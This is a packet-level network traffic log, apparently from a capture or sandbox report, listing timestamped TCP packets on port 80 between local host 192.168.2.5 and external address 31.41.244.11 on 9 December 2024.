Dec 9, 2024 15:30:16.917416096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.918621063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.918772936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.918827057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.920247078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.920259953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.920305014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.921694040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.921706915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.921751976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.921778917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.923000097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.923013926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.923063040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.923840046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.923852921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.923862934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.923892975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.923911095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.927371979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.927386999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.927443981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.927805901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.927835941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.927850008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.927886963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.929250002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.929294109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.930828094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.930840969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.930851936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.930895090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.044850111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.044922113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.045142889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.045206070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.045865059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.045934916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.046576977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.046618938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.047334909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.047349930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.047378063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.047394991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.048521042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.048564911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.049252987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.049298048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.049916029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.049959898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.050662994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.050715923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.051600933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.051620960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.051656961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.052983999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.052995920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.053045034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.054750919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.054764032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.054814100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.056056023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.056118965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.057517052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.057558060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.057579041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.057600021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.058427095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.058643103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.060023069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.060035944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.060079098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.061690092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.061702013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.061752081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.063186884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.063199997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.063251019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.064532995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.064546108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.064584970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.066065073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.066078901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.066113949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.066143036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.067498922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.067512035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.067553043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.068866968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.068881035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.068892956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.068931103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.068984985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.070409060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.070421934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.070471048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.071676016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.071690083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.071736097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.073358059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.073373079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.073405027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.073431969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.074512005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.074527025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.074538946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.074570894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.074743986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.076039076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.076052904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.076105118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.077560902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.077574015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.077615976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.078896999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.078932047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.078986883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.080492020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.080507994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.080521107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.080547094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.080574036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.081923962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.081971884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.082031012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.083492041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.083504915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.083554029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.085031033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.085048914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.085098028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.086924076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.086940050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.086987972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.088471889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.088486910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.088498116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.088516951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.088543892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.089924097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.089937925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.089994907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.091135979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.091149092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.091197014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.091228008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.092511892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.092525959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.092580080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.093972921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.093987942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.094005108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.094033957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.094054937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.095462084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.095477104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.095521927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.096940041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.096954107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.097002983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.098462105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.098476887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.098525047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.098548889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.100032091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.100045919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.100101948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.101675034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.101689100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.101701021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.101741076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.101773024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.102910042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.102925062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.102989912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.104954958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.104971886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.105006933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.105030060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.106089115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.106102943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.106154919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.107661009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.107676983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.107687950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.107712030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.107733011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.108912945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.108927011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.108967066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.111126900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.111140966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.111217022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.112099886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.112114906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.112157106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.112185001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.113481045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.113496065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.113547087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.115360975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.115375042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.115391016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.115434885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.117145061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.117161989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.117172956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.117177010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.117202044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.117228031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.237006903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.237169027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.237638950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.237696886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.238286018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.238298893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.238343954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.239438057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.239500999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.240752935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.240811110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.240950108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.240962982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.240993023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.241013050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.242343903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.242357016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.242393970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.242422104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.243872881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.243886948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.243930101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.245047092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.245064020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.245111942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.247385979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.247399092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.247457981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.247800112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.247852087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.249433994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.249447107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.249460936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.249497890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.249905109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.250718117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.250730038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.250773907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.252202988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.252263069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.253927946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.253942013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.253953934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.253992081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.254009962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.255266905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.255280018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.255327940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.255351067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.256661892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.256675005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.256715059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.256741047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.258482933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.258497000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.258543015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.260202885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.260258913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.260258913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.260317087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.261837006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.261851072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.261861086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.261893988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.261915922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.263096094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.263108969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.263145924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.264843941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.264857054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.264906883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.264930010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.266360998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.266372919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.266427040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.267833948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.267852068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.267863989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.267895937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.267918110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.269192934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.269206047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.269252062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.270637035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.270651102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.270689964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.272308111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.272327900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.272361040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.272388935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.273996115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.274013996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.274050951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.275532007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.275544882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.275557041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.275563955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.275593996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.275600910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.276923895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.276937962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.276985884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.278429031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.278444052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.278481960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.279721022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.279733896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.279772043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.281131029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.281143904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.281155109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.281183004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.281205893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.282339096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.282354116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.282391071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.283986092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.283998966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.284043074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.285439968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.285453081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.285487890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.285516024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.286988974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.287002087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.287045002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.288453102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.288466930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.288480043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.288501024 CET	49866	80	192.168.2.5	31.41.244.11
